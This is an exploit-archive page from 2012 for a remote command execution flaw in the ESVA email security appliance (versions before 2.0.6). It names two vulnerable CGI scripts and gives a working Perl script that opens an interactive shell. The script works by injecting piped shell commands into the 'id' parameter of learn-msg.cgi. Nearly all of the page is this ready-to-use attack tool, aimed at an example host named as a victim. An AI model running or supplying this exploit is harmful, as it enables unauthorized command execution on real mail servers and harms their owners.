[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : E-Mail Security Virtual Appliance (ESVA) Remote Execution
# Published : 2012-08-16
# Author :
# Previous Title : HP SiteScope Remote Code Execution
# Next Title : Sflog! CMS 1.0 Arbitrary File Upload Vulnerability


# Exploit Title: E-Mail Security Virtual Appliance (ESVA) Remote Execution.
# Date: 10 Aug 2012
# Exploit Author: iJoo
# Vendor Homepage: http://www.esvacommunity.com/
# Software Link: http://sourceforge.net/projects/esva-project/
# Version: < 2.0.6

ESVA (E-Mail Security Virtual Appliance) is a pre-built and semi-configured email scanning appliance that will run on VMware Workstation, Server, Player or ESX Server.

-=+ Infected Files

..../cgi-bin/learn-msg.cgi
..../cgi-bin/release-msg.cgi

Not found any strips/filter to metacharacters..
Attacker can easily execute command..

-=+ Simple RCE ESVA

#! /usr/bin/perl
use LWP;
use HTTP::Request;
if (@ARGV < 1)
{
print "n==========================================n";
print "   ESVA - REMOTE EXECUTION SCRIPT n";
print "==========================================n";
print "Usage: perl esva.pl host (without http://)n";
print "Ex. perl esva.pl www.korban.comn";
exit;
}
$host=$ARGV[0];
print "Try to Execution Command!n";
print "iDSc-shell# ";
chomp( $cmd = <STDIN>);
while($cmd !~ "exit")
{
$content = "";
$ua = LWP::UserAgent->new();
$ua->agent('');
$request = HTTP::Request->new (GET => "http://".$host."/cgi-bin/learn-msg.cgi?id=%7c".$cmd."%3b");
$response = $ua->request ($request);
$content = $response->content;
print $content."n";
print "iDSc-shell# ";
chomp( $cmd = <STDIN>);
}

-=+ Thanks to
My lovely Country NKRI INDONESIA!!
binh4x staff - www.binushacker.net // Forum.binushacker.net